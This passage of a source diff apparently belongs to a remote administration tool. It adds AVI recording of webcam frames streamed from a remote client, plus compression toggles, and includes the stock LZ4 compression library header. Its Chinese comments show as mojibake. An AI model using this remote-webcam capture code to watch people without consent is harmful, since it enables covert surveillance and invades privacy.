// ֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD>˲<EFBFBD><CBB2><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9>
BYTE bToken = COMMAND_WEBCAM_DISABLECOMPRESS;
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE));
GetSystemMenu(FALSE)->EnableMenuItem(IDM_ENABLECOMPRESS, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED);
} }
} }
@@ -208,6 +327,19 @@ void CVideoDlg::OnSysCommand(UINT nID, LPARAM lParam)
{ {
case IDM_SAVEAVI: case IDM_SAVEAVI:
{ {
SaveAvi();
break;
}
case IDM_ENABLECOMPRESS:
{
CMenu *pSysMenu = GetSystemMenu(FALSE);
bool bIsChecked = pSysMenu->GetMenuState(IDM_ENABLECOMPRESS, MF_BYCOMMAND) & MF_CHECKED;
pSysMenu->CheckMenuItem(IDM_ENABLECOMPRESS, bIsChecked ? MF_UNCHECKED : MF_CHECKED);
bIsChecked = !bIsChecked;
BYTE bToken = COMMAND_WEBCAM_ENABLECOMPRESS;
if (!bIsChecked)
bToken = COMMAND_WEBCAM_DISABLECOMPRESS;
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE));
break; break;
} }
} }
@@ -239,4 +371,14 @@ void CVideoDlg::OnPaint()
m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight, m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight,
DDF_SAME_HDC DDF_SAME_HDC
); );
if (!m_aviFile.IsEmpty())
{
m_aviStream.Write(m_BitmapData_Full);
// <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>¼<EFBFBD><C2BC>
SetBkMode(m_hDC, TRANSPARENT);
SetTextColor(m_hDC, RGB(0xff,0x00,0x00));
const LPCTSTR lpTipsString = "Recording";
TextOut(m_hDC, 0, 0, lpTipsString, lstrlen(lpTipsString));
}
} }

View File

@@ -7,6 +7,25 @@
#pragma comment(lib,"Vfw32.lib") #pragma comment(lib,"Vfw32.lib")
/************************************************************************
* @class CBmpToAvi
* @brief λͼתAVI֡
************************************************************************/
class CBmpToAvi
{
public:
CBmpToAvi();
virtual ~CBmpToAvi();
bool Open(LPCTSTR szFile, LPBITMAPINFO lpbmi);
bool Write(LPVOID lpBuffer);
void Close();
private:
PAVIFILE m_pfile;
PAVISTREAM m_pavi;
int m_nFrames;
static AVISTREAMINFO m_si; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>Ǿ<EFBFBD>̬<EFBFBD><CCAC>
};
class CVideoCodec class CVideoCodec
{ {
COMPVARS m_cv; COMPVARS m_cv;
@@ -141,6 +160,7 @@ public:
class CVideoDlg : public CDialog class CVideoDlg : public CDialog
{ {
DECLARE_DYNAMIC(CVideoDlg) DECLARE_DYNAMIC(CVideoDlg)
HICON m_hIcon;
public: public:
CVideoDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // <20><>׼<EFBFBD><D7BC><EFBFBD><EFBFBD><ECBAAF> CVideoDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // <20><>׼<EFBFBD><D7BC><EFBFBD><EFBFBD><ECBAAF>
@@ -152,12 +172,17 @@ public:
LPBITMAPINFO m_BitmapInfor_Full; LPBITMAPINFO m_BitmapInfor_Full;
BYTE* m_BitmapData_Full; BYTE* m_BitmapData_Full;
BYTE* m_BitmapCompressedData_Full; BYTE* m_BitmapCompressedData_Full;
void CVideoDlg::ResetScreen(void); void ResetScreen(void);
void CVideoDlg::OnReceiveComplete(void); void OnReceiveComplete(void);
void CVideoDlg::DrawDIB(void); void DrawDIB(void);
void CVideoDlg::InitCodec(DWORD fccHandler); void SaveAvi(void);
void InitCodec(DWORD fccHandler);
CString m_aviFile; // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD>վ<EFBFBD>д<EFBFBD><D0B4>
CBmpToAvi m_aviStream;
int m_nCount;
HDC m_hDC; HDC m_hDC;
HDRAWDIB m_hDD; HDRAWDIB m_hDD;

631
server/2015Remote/lz4/lz4.h Normal file
View File

@@ -0,0 +1,631 @@
/*
* LZ4 - Fast LZ compression algorithm
* Header File
* Copyright (C) 2011-present, Yann Collet.
BSD 2-Clause License (http://www.opensource.org/licenses/bsd-license.php)
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above
copyright notice, this list of conditions and the following disclaimer
in the documentation and/or other materials provided with the
distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
You can contact the author at :
- LZ4 homepage : http://www.lz4.org
- LZ4 source repository : https://github.com/lz4/lz4
*/
#if defined (__cplusplus)
extern "C" {
#endif
#ifndef LZ4_H_2983827168210
#define LZ4_H_2983827168210
/* --- Dependency --- */
#include <stddef.h> /* size_t */
/**
Introduction
LZ4 is lossless compression algorithm, providing compression speed at 500 MB/s per core,
scalable with multi-cores CPU. It features an extremely fast decoder, with speed in
multiple GB/s per core, typically reaching RAM speed limits on multi-core systems.
The LZ4 compression library provides in-memory compression and decompression functions.
Compression can be done in:
- a single step (described as Simple Functions)
- a single step, reusing a context (described in Advanced Functions)
- unbounded multiple steps (described as Streaming compression)
lz4.h provides block compression functions. It gives full buffer control to user.
Decompressing an lz4-compressed block also requires metadata (such as compressed size).
Each application is free to encode such metadata in whichever way it wants.
An additional format, called LZ4 frame specification (doc/lz4_Frame_format.md),
take care of encoding standard metadata alongside LZ4-compressed blocks.
Frame format is required for interoperability.
It is delivered through a companion API, declared in lz4frame.h.
*/
/*^***************************************************************
* Export parameters
*****************************************************************/
/*
* LZ4_DLL_EXPORT :
* Enable exporting of functions when building a Windows DLL
* LZ4LIB_VISIBILITY :
* Control library symbols visibility.
*/
#ifndef LZ4LIB_VISIBILITY
# if defined(__GNUC__) && (__GNUC__ >= 4)
# define LZ4LIB_VISIBILITY __attribute__ ((visibility ("default")))
# else
# define LZ4LIB_VISIBILITY
# endif
#endif
#if defined(LZ4_DLL_EXPORT) && (LZ4_DLL_EXPORT==1)
# define LZ4LIB_API __declspec(dllexport) LZ4LIB_VISIBILITY
#elif defined(LZ4_DLL_IMPORT) && (LZ4_DLL_IMPORT==1)
# define LZ4LIB_API __declspec(dllimport) LZ4LIB_VISIBILITY /* It isn't required but allows to generate better code, saving a function pointer load from the IAT and an indirect jump.*/
#else
# define LZ4LIB_API LZ4LIB_VISIBILITY
#endif
/*------ Version ------*/
#define LZ4_VERSION_MAJOR 1 /* for breaking interface changes */
#define LZ4_VERSION_MINOR 8 /* for new (non-breaking) interface capabilities */
#define LZ4_VERSION_RELEASE 3 /* for tweaks, bug-fixes, or development */
#define LZ4_VERSION_NUMBER (LZ4_VERSION_MAJOR *100*100 + LZ4_VERSION_MINOR *100 + LZ4_VERSION_RELEASE)
#define LZ4_LIB_VERSION LZ4_VERSION_MAJOR.LZ4_VERSION_MINOR.LZ4_VERSION_RELEASE
#define LZ4_QUOTE(str) #str
#define LZ4_EXPAND_AND_QUOTE(str) LZ4_QUOTE(str)
#define LZ4_VERSION_STRING LZ4_EXPAND_AND_QUOTE(LZ4_LIB_VERSION)
LZ4LIB_API int LZ4_versionNumber (void); /**< library version number; useful to check dll version */
LZ4LIB_API const char* LZ4_versionString (void); /**< library version string; unseful to check dll version */
/*-************************************
* Tuning parameter
**************************************/
/*!
* LZ4_MEMORY_USAGE :
* Memory usage formula : N->2^N Bytes (examples : 10 -> 1KB; 12 -> 4KB ; 16 -> 64KB; 20 -> 1MB; etc.)
* Increasing memory usage improves compression ratio
* Reduced memory usage may improve speed, thanks to cache effect
* Default value is 14, for 16KB, which nicely fits into Intel x86 L1 cache
*/
#ifndef LZ4_MEMORY_USAGE
# define LZ4_MEMORY_USAGE 14
#endif
/*-************************************
* Simple Functions
**************************************/
/*! LZ4_compress_default() :
Compresses 'srcSize' bytes from buffer 'src'
into already allocated 'dst' buffer of size 'dstCapacity'.
Compression is guaranteed to succeed if 'dstCapacity' >= LZ4_compressBound(srcSize).
It also runs faster, so it's a recommended setting.
If the function cannot compress 'src' into a more limited 'dst' budget,
compression stops *immediately*, and the function result is zero.
Note : as a consequence, 'dst' content is not valid.
Note 2 : This function is protected against buffer overflow scenarios (never writes outside 'dst' buffer, nor read outside 'source' buffer).
srcSize : max supported value is LZ4_MAX_INPUT_SIZE.
dstCapacity : size of buffer 'dst' (which must be already allocated)
return : the number of bytes written into buffer 'dst' (necessarily <= dstCapacity)
or 0 if compression fails */
LZ4LIB_API int LZ4_compress_default(const char* src, char* dst, int srcSize, int dstCapacity);
/*! LZ4_decompress_safe() :
compressedSize : is the exact complete size of the compressed block.
dstCapacity : is the size of destination buffer, which must be already allocated.
return : the number of bytes decompressed into destination buffer (necessarily <= dstCapacity)
If destination buffer is not large enough, decoding will stop and output an error code (negative value).
If the source stream is detected malformed, the function will stop decoding and return a negative result.
This function is protected against malicious data packets.
*/
LZ4LIB_API int LZ4_decompress_safe (const char* src, char* dst, int compressedSize, int dstCapacity);
/*-************************************
* Advanced Functions
**************************************/
#define LZ4_MAX_INPUT_SIZE 0x7E000000 /* 2 113 929 216 bytes */
#define LZ4_COMPRESSBOUND(isize) ((unsigned)(isize) > (unsigned)LZ4_MAX_INPUT_SIZE ? 0 : (isize) + ((isize)/255) + 16)
/*!
LZ4_compressBound() :
Provides the maximum size that LZ4 compression may output in a "worst case" scenario (input data not compressible)
This function is primarily useful for memory allocation purposes (destination buffer size).
Macro LZ4_COMPRESSBOUND() is also provided for compilation-time evaluation (stack memory allocation for example).
Note that LZ4_compress_default() compresses faster when dstCapacity is >= LZ4_compressBound(srcSize)
inputSize : max supported value is LZ4_MAX_INPUT_SIZE
return : maximum output size in a "worst case" scenario
or 0, if input size is incorrect (too large or negative)
*/
LZ4LIB_API int LZ4_compressBound(int inputSize);
/*!
LZ4_compress_fast() :
Same as LZ4_compress_default(), but allows selection of "acceleration" factor.
The larger the acceleration value, the faster the algorithm, but also the lesser the compression.
It's a trade-off. It can be fine tuned, with each successive value providing roughly +~3% to speed.
An acceleration value of "1" is the same as regular LZ4_compress_default()
Values <= 0 will be replaced by ACCELERATION_DEFAULT (currently == 1, see lz4.c).
*/
LZ4LIB_API int LZ4_compress_fast (const char* src, char* dst, int srcSize, int dstCapacity, int acceleration);
/*!
LZ4_compress_fast_extState() :
Same compression function, just using an externally allocated memory space to store compression state.
Use LZ4_sizeofState() to know how much memory must be allocated,
and allocate it on 8-bytes boundaries (using malloc() typically).
Then, provide this buffer as 'void* state' to compression function.
*/
LZ4LIB_API int LZ4_sizeofState(void);
LZ4LIB_API int LZ4_compress_fast_extState (void* state, const char* src, char* dst, int srcSize, int dstCapacity, int acceleration);
/*! LZ4_compress_destSize() :
* Reverse the logic : compresses as much data as possible from 'src' buffer
* into already allocated buffer 'dst', of size >= 'targetDestSize'.
* This function either compresses the entire 'src' content into 'dst' if it's large enough,
* or fill 'dst' buffer completely with as much data as possible from 'src'.
* note: acceleration parameter is fixed to "default".
*
* *srcSizePtr : will be modified to indicate how many bytes where read from 'src' to fill 'dst'.
* New value is necessarily <= input value.
* @return : Nb bytes written into 'dst' (necessarily <= targetDestSize)
* or 0 if compression fails.
*/
LZ4LIB_API int LZ4_compress_destSize (const char* src, char* dst, int* srcSizePtr, int targetDstSize);
/*! LZ4_decompress_fast() : **unsafe!**
* This function used to be a bit faster than LZ4_decompress_safe(),
* though situation has changed in recent versions,
* and now `LZ4_decompress_safe()` can be as fast and sometimes faster than `LZ4_decompress_fast()`.
* Moreover, LZ4_decompress_fast() is not protected vs malformed input, as it doesn't perform full validation of compressed data.
* As a consequence, this function is no longer recommended, and may be deprecated in future versions.
* It's only remaining specificity is that it can decompress data without knowing its compressed size.
*
* originalSize : is the uncompressed size to regenerate.
* `dst` must be already allocated, its size must be >= 'originalSize' bytes.
* @return : number of bytes read from source buffer (== compressed size).
* If the source stream is detected malformed, the function stops decoding and returns a negative result.
* note : This function requires uncompressed originalSize to be known in advance.
* The function never writes past the output buffer.
* However, since it doesn't know its 'src' size, it may read past the intended input.
* Also, because match offsets are not validated during decoding,
* reads from 'src' may underflow.
* Use this function in trusted environment **only**.
*/
LZ4LIB_API int LZ4_decompress_fast (const char* src, char* dst, int originalSize);
/*! LZ4_decompress_safe_partial() :
* Decompress an LZ4 compressed block, of size 'srcSize' at position 'src',
* into destination buffer 'dst' of size 'dstCapacity'.
* Up to 'targetOutputSize' bytes will be decoded.
* The function stops decoding on reaching this objective,
* which can boost performance when only the beginning of a block is required.
*
* @return : the number of bytes decoded in `dst` (necessarily <= dstCapacity)
* If source stream is detected malformed, function returns a negative result.
*
* Note : @return can be < targetOutputSize, if compressed block contains less data.
*
* Note 2 : this function features 2 parameters, targetOutputSize and dstCapacity,
* and expects targetOutputSize <= dstCapacity.
* It effectively stops decoding on reaching targetOutputSize,
* so dstCapacity is kind of redundant.
* This is because in a previous version of this function,
* decoding operation would not "break" a sequence in the middle.
* As a consequence, there was no guarantee that decoding would stop at exactly targetOutputSize,
* it could write more bytes, though only up to dstCapacity.
* Some "margin" used to be required for this operation to work properly.
* This is no longer necessary.
* The function nonetheless keeps its signature, in an effort to not break API.
*/
LZ4LIB_API int LZ4_decompress_safe_partial (const char* src, char* dst, int srcSize, int targetOutputSize, int dstCapacity);
/*-*********************************************
* Streaming Compression Functions
***********************************************/
typedef union LZ4_stream_u LZ4_stream_t; /* incomplete type (defined later) */
/*! LZ4_createStream() and LZ4_freeStream() :
* LZ4_createStream() will allocate and initialize an `LZ4_stream_t` structure.
* LZ4_freeStream() releases its memory.
*/
LZ4LIB_API LZ4_stream_t* LZ4_createStream(void);
LZ4LIB_API int LZ4_freeStream (LZ4_stream_t* streamPtr);
/*! LZ4_resetStream() :
* An LZ4_stream_t structure can be allocated once and re-used multiple times.
* Use this function to start compressing a new stream.
*/
LZ4LIB_API void LZ4_resetStream (LZ4_stream_t* streamPtr);
/*! LZ4_loadDict() :
* Use this function to load a static dictionary into LZ4_stream_t.
* Any previous data will be forgotten, only 'dictionary' will remain in memory.
* Loading a size of 0 is allowed, and is the same as reset.
* @return : dictionary size, in bytes (necessarily <= 64 KB)
*/
LZ4LIB_API int LZ4_loadDict (LZ4_stream_t* streamPtr, const char* dictionary, int dictSize);
/*! LZ4_compress_fast_continue() :
* Compress 'src' content using data from previously compressed blocks, for better compression ratio.
* 'dst' buffer must be already allocated.
* If dstCapacity >= LZ4_compressBound(srcSize), compression is guaranteed to succeed, and runs faster.
*
* @return : size of compressed block
* or 0 if there is an error (typically, cannot fit into 'dst').
*
* Note 1 : Each invocation to LZ4_compress_fast_continue() generates a new block.
* Each block has precise boundaries.
* It's not possible to append blocks together and expect a single invocation of LZ4_decompress_*() to decompress them together.
* Each block must be decompressed separately, calling LZ4_decompress_*() with associated metadata.
*
* Note 2 : The previous 64KB of source data is __assumed__ to remain present, unmodified, at same address in memory!
*
* Note 3 : When input is structured as a double-buffer, each buffer can have any size, including < 64 KB.
* Make sure that buffers are separated, by at least one byte.
* This construction ensures that each block only depends on previous block.
*
* Note 4 : If input buffer is a ring-buffer, it can have any size, including < 64 KB.
*
* Note 5 : After an error, the stream status is invalid, it can only be reset or freed.
*/
LZ4LIB_API int LZ4_compress_fast_continue (LZ4_stream_t* streamPtr, const char* src, char* dst, int srcSize, int dstCapacity, int acceleration);
/*! LZ4_saveDict() :
* If last 64KB data cannot be guaranteed to remain available at its current memory location,
* save it into a safer place (char* safeBuffer).
* This is schematically equivalent to a memcpy() followed by LZ4_loadDict(),
* but is much faster, because LZ4_saveDict() doesn't need to rebuild tables.
* @return : saved dictionary size in bytes (necessarily <= maxDictSize), or 0 if error.
*/
LZ4LIB_API int LZ4_saveDict (LZ4_stream_t* streamPtr, char* safeBuffer, int maxDictSize);
/*-**********************************************
* Streaming Decompression Functions
* Bufferless synchronous API
************************************************/
typedef union LZ4_streamDecode_u LZ4_streamDecode_t; /* tracking context */
/*! LZ4_createStreamDecode() and LZ4_freeStreamDecode() :
* creation / destruction of streaming decompression tracking context.
* A tracking context can be re-used multiple times.
*/
LZ4LIB_API LZ4_streamDecode_t* LZ4_createStreamDecode(void);
LZ4LIB_API int LZ4_freeStreamDecode (LZ4_streamDecode_t* LZ4_stream);
/*! LZ4_setStreamDecode() :
* An LZ4_streamDecode_t context can be allocated once and re-used multiple times.
* Use this function to start decompression of a new stream of blocks.
* A dictionary can optionally be set. Use NULL or size 0 for a reset order.
* Dictionary is presumed stable : it must remain accessible and unmodified during next decompression.
* @return : 1 if OK, 0 if error
*/
LZ4LIB_API int LZ4_setStreamDecode (LZ4_streamDecode_t* LZ4_streamDecode, const char* dictionary, int dictSize);
/*! LZ4_decoderRingBufferSize() : v1.8.2
* Note : in a ring buffer scenario (optional),
* blocks are presumed decompressed next to each other
* up to the moment there is not enough remaining space for next block (remainingSize < maxBlockSize),
* at which stage it resumes from beginning of ring buffer.
* When setting such a ring buffer for streaming decompression,
* provides the minimum size of this ring buffer
* to be compatible with any source respecting maxBlockSize condition.
* @return : minimum ring buffer size,
* or 0 if there is an error (invalid maxBlockSize).
*/
LZ4LIB_API int LZ4_decoderRingBufferSize(int maxBlockSize);
#define LZ4_DECODER_RING_BUFFER_SIZE(mbs) (65536 + 14 + (mbs)) /* for static allocation; mbs presumed valid */
/*! LZ4_decompress_*_continue() :
* These decoding functions allow decompression of consecutive blocks in "streaming" mode.
* A block is an unsplittable entity, it must be presented entirely to a decompression function.
* Decompression functions only accepts one block at a time.
* The last 64KB of previously decoded data *must* remain available and unmodified at the memory position where they were decoded.
* If less than 64KB of data has been decoded, all the data must be present.
*
* Special : if decompression side sets a ring buffer, it must respect one of the following conditions :
* - Decompression buffer size is _at least_ LZ4_decoderRingBufferSize(maxBlockSize).
* maxBlockSize is the maximum size of any single block. It can have any value > 16 bytes.
* In which case, encoding and decoding buffers do not need to be synchronized.
* Actually, data can be produced by any source compliant with LZ4 format specification, and respecting maxBlockSize.
* - Synchronized mode :
* Decompression buffer size is _exactly_ the same as compression buffer size,
* and follows exactly same update rule (block boundaries at same positions),
* and decoding function is provided with exact decompressed size of each block (exception for last block of the stream),
* _then_ decoding & encoding ring buffer can have any size, including small ones ( < 64 KB).
* - Decompression buffer is larger than encoding buffer, by a minimum of maxBlockSize more bytes.
* In which case, encoding and decoding buffers do not need to be synchronized,
* and encoding ring buffer can have any size, including small ones ( < 64 KB).
*
* Whenever these conditions are not possible,
* save the last 64KB of decoded data into a safe buffer where it can't be modified during decompression,
* then indicate where this data is saved using LZ4_setStreamDecode(), before decompressing next block.
*/
LZ4LIB_API int LZ4_decompress_safe_continue (LZ4_streamDecode_t* LZ4_streamDecode, const char* src, char* dst, int srcSize, int dstCapacity);
LZ4LIB_API int LZ4_decompress_fast_continue (LZ4_streamDecode_t* LZ4_streamDecode, const char* src, char* dst, int originalSize);
/*! LZ4_decompress_*_usingDict() :
* These decoding functions work the same as
* a combination of LZ4_setStreamDecode() followed by LZ4_decompress_*_continue()
* They are stand-alone, and don't need an LZ4_streamDecode_t structure.
* Dictionary is presumed stable : it must remain accessible and unmodified during next decompression.
*/
LZ4LIB_API int LZ4_decompress_safe_usingDict (const char* src, char* dst, int srcSize, int dstCapcity, const char* dictStart, int dictSize);
LZ4LIB_API int LZ4_decompress_fast_usingDict (const char* src, char* dst, int originalSize, const char* dictStart, int dictSize);
/*^**********************************************
* !!!!!! STATIC LINKING ONLY !!!!!!
***********************************************/
/*-************************************
* Unstable declarations
**************************************
* Declarations in this section should be considered unstable.
* Use at your own peril, etc., etc.
* They may be removed in the future.
* Their signatures may change.
**************************************/
#ifdef LZ4_STATIC_LINKING_ONLY
/*! LZ4_resetStream_fast() :
* Use this, like LZ4_resetStream(), to prepare a context for a new chain of
* calls to a streaming API (e.g., LZ4_compress_fast_continue()).
*
* Note:
* Using this in advance of a non- streaming-compression function is redundant,
* and potentially bad for performance, since they all perform their own custom
* reset internally.
*
* Differences from LZ4_resetStream():
* When an LZ4_stream_t is known to be in a internally coherent state,
* it can often be prepared for a new compression with almost no work, only
* sometimes falling back to the full, expensive reset that is always required
* when the stream is in an indeterminate state (i.e., the reset performed by
* LZ4_resetStream()).
*
* LZ4_streams are guaranteed to be in a valid state when:
* - returned from LZ4_createStream()
* - reset by LZ4_resetStream()
* - memset(stream, 0, sizeof(LZ4_stream_t)), though this is discouraged
* - the stream was in a valid state and was reset by LZ4_resetStream_fast()
* - the stream was in a valid state and was then used in any compression call
* that returned success
* - the stream was in an indeterminate state and was used in a compression
* call that fully reset the state (e.g., LZ4_compress_fast_extState()) and
* that returned success
*
* When a stream isn't known to be in a valid state, it is not safe to pass to
* any fastReset or streaming function. It must first be cleansed by the full
* LZ4_resetStream().
*/
LZ4LIB_API void LZ4_resetStream_fast (LZ4_stream_t* streamPtr);
/*! LZ4_compress_fast_extState_fastReset() :
* A variant of LZ4_compress_fast_extState().
*
* Using this variant avoids an expensive initialization step. It is only safe
* to call if the state buffer is known to be correctly initialized already
* (see above comment on LZ4_resetStream_fast() for a definition of "correctly
* initialized"). From a high level, the difference is that this function
* initializes the provided state with a call to something like
* LZ4_resetStream_fast() while LZ4_compress_fast_extState() starts with a
* call to LZ4_resetStream().
*/
LZ4LIB_API int LZ4_compress_fast_extState_fastReset (void* state, const char* src, char* dst, int srcSize, int dstCapacity, int acceleration);
/*! LZ4_attach_dictionary() :
* This is an experimental API that allows for the efficient use of a
* static dictionary many times.
*
* Rather than re-loading the dictionary buffer into a working context before
* each compression, or copying a pre-loaded dictionary's LZ4_stream_t into a
* working LZ4_stream_t, this function introduces a no-copy setup mechanism,
* in which the working stream references the dictionary stream in-place.
*
* Several assumptions are made about the state of the dictionary stream.
* Currently, only streams which have been prepared by LZ4_loadDict() should
* be expected to work.
*
* Alternatively, the provided dictionary stream pointer may be NULL, in which
* case any existing dictionary stream is unset.
*
* If a dictionary is provided, it replaces any pre-existing stream history.
* The dictionary contents are the only history that can be referenced and
* logically immediately precede the data compressed in the first subsequent
* compression call.
*
* The dictionary will only remain attached to the working stream through the
* first compression call, at the end of which it is cleared. The dictionary
* stream (and source buffer) must remain in-place / accessible / unchanged
* through the completion of the first compression call on the stream.
*/
LZ4LIB_API void LZ4_attach_dictionary(LZ4_stream_t *working_stream, const LZ4_stream_t *dictionary_stream);
#endif
/*-************************************
* Private definitions
**************************************
* Do not use these definitions.
* They are exposed to allow static allocation of `LZ4_stream_t` and `LZ4_streamDecode_t`.
* Using these definitions will expose code to API and/or ABI break in future versions of the library.
**************************************/
#define LZ4_HASHLOG (LZ4_MEMORY_USAGE-2)
#define LZ4_HASHTABLESIZE (1 << LZ4_MEMORY_USAGE)
#define LZ4_HASH_SIZE_U32 (1 << LZ4_HASHLOG) /* required as macro for static allocation */
#if defined(__cplusplus) || (defined (__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L) /* C99 */)
#include <stdint.h>
typedef struct LZ4_stream_t_internal LZ4_stream_t_internal;
struct LZ4_stream_t_internal {
uint32_t hashTable[LZ4_HASH_SIZE_U32];
uint32_t currentOffset;
uint16_t initCheck;
uint16_t tableType;
const uint8_t* dictionary;
const LZ4_stream_t_internal* dictCtx;
uint32_t dictSize;
};
typedef struct {
const uint8_t* externalDict;
size_t extDictSize;
const uint8_t* prefixEnd;
size_t prefixSize;
} LZ4_streamDecode_t_internal;
#else
typedef struct LZ4_stream_t_internal LZ4_stream_t_internal;
struct LZ4_stream_t_internal {
unsigned int hashTable[LZ4_HASH_SIZE_U32];
unsigned int currentOffset;
unsigned short initCheck;
unsigned short tableType;
const unsigned char* dictionary;
const LZ4_stream_t_internal* dictCtx;
unsigned int dictSize;
};
typedef struct {
const unsigned char* externalDict;
size_t extDictSize;
const unsigned char* prefixEnd;
size_t prefixSize;
} LZ4_streamDecode_t_internal;
#endif
/*!
* LZ4_stream_t :
* information structure to track an LZ4 stream.
* init this structure before first use.
* note : only use in association with static linking !
* this definition is not API/ABI safe,
* it may change in a future version !
*/
#define LZ4_STREAMSIZE_U64 ((1 << (LZ4_MEMORY_USAGE-3)) + 4)
#define LZ4_STREAMSIZE (LZ4_STREAMSIZE_U64 * sizeof(unsigned long long))
union LZ4_stream_u {
unsigned long long table[LZ4_STREAMSIZE_U64];
LZ4_stream_t_internal internal_donotuse;
} ; /* previously typedef'd to LZ4_stream_t */
/*!
* LZ4_streamDecode_t :
* information structure to track an LZ4 stream during decompression.
* init this structure using LZ4_setStreamDecode (or memset()) before first use
* note : only use in association with static linking !
* this definition is not API/ABI safe,
* and may change in a future version !
*/
#define LZ4_STREAMDECODESIZE_U64 4
#define LZ4_STREAMDECODESIZE (LZ4_STREAMDECODESIZE_U64 * sizeof(unsigned long long))
union LZ4_streamDecode_u {
unsigned long long table[LZ4_STREAMDECODESIZE_U64];
LZ4_streamDecode_t_internal internal_donotuse;
} ; /* previously typedef'd to LZ4_streamDecode_t */
/*-************************************
* Obsolete Functions
**************************************/
/*! Deprecation warnings
Should deprecation warnings be a problem,
it is generally possible to disable them,
typically with -Wno-deprecated-declarations for gcc
or _CRT_SECURE_NO_WARNINGS in Visual.
Otherwise, it's also possible to define LZ4_DISABLE_DEPRECATE_WARNINGS */
#ifdef LZ4_DISABLE_DEPRECATE_WARNINGS
# define LZ4_DEPRECATED(message) /* disable deprecation warnings */
#else
# define LZ4_GCC_VERSION (__GNUC__ * 100 + __GNUC_MINOR__)
# if defined (__cplusplus) && (__cplusplus >= 201402) /* C++14 or greater */
# define LZ4_DEPRECATED(message) [[deprecated(message)]]
# elif (LZ4_GCC_VERSION >= 405) || defined(__clang__)
# define LZ4_DEPRECATED(message) __attribute__((deprecated(message)))
# elif (LZ4_GCC_VERSION >= 301)
# define LZ4_DEPRECATED(message) __attribute__((deprecated))
# elif defined(_MSC_VER)
# define LZ4_DEPRECATED(message) __declspec(deprecated(message))
# else
# pragma message("WARNING: You need to implement LZ4_DEPRECATED for this compiler")
# define LZ4_DEPRECATED(message)
# endif
#endif /* LZ4_DISABLE_DEPRECATE_WARNINGS */
/* Obsolete compression functions */
LZ4_DEPRECATED("use LZ4_compress_default() instead") LZ4LIB_API int LZ4_compress (const char* source, char* dest, int sourceSize);
LZ4_DEPRECATED("use LZ4_compress_default() instead") LZ4LIB_API int LZ4_compress_limitedOutput (const char* source, char* dest, int sourceSize, int maxOutputSize);
LZ4_DEPRECATED("use LZ4_compress_fast_extState() instead") LZ4LIB_API int LZ4_compress_withState (void* state, const char* source, char* dest, int inputSize);
LZ4_DEPRECATED("use LZ4_compress_fast_extState() instead") LZ4LIB_API int LZ4_compress_limitedOutput_withState (void* state, const char* source, char* dest, int inputSize, int maxOutputSize);
LZ4_DEPRECATED("use LZ4_compress_fast_continue() instead") LZ4LIB_API int LZ4_compress_continue (LZ4_stream_t* LZ4_streamPtr, const char* source, char* dest, int inputSize);
LZ4_DEPRECATED("use LZ4_compress_fast_continue() instead") LZ4LIB_API int LZ4_compress_limitedOutput_continue (LZ4_stream_t* LZ4_streamPtr, const char* source, char* dest, int inputSize, int maxOutputSize);
/* Obsolete decompression functions */
LZ4_DEPRECATED("use LZ4_decompress_fast() instead") LZ4LIB_API int LZ4_uncompress (const char* source, char* dest, int outputSize);
LZ4_DEPRECATED("use LZ4_decompress_safe() instead") LZ4LIB_API int LZ4_uncompress_unknownOutputSize (const char* source, char* dest, int isize, int maxOutputSize);
/* Obsolete streaming functions; degraded functionality; do not use!
*
* In order to perform streaming compression, these functions depended on data
* that is no longer tracked in the state. They have been preserved as well as
* possible: using them will still produce a correct output. However, they don't
* actually retain any history between compression calls. The compression ratio
* achieved will therefore be no better than compressing each chunk
* independently.
*/
LZ4_DEPRECATED("Use LZ4_createStream() instead") LZ4LIB_API void* LZ4_create (char* inputBuffer);
LZ4_DEPRECATED("Use LZ4_createStream() instead") LZ4LIB_API int LZ4_sizeofStreamState(void);
LZ4_DEPRECATED("Use LZ4_resetStream() instead") LZ4LIB_API int LZ4_resetStreamState(void* state, char* inputBuffer);
LZ4_DEPRECATED("Use LZ4_saveDict() instead") LZ4LIB_API char* LZ4_slideInputBuffer (void* state);
/* Obsolete streaming decoding functions */
LZ4_DEPRECATED("use LZ4_decompress_safe_usingDict() instead") LZ4LIB_API int LZ4_decompress_safe_withPrefix64k (const char* src, char* dst, int compressedSize, int maxDstSize);
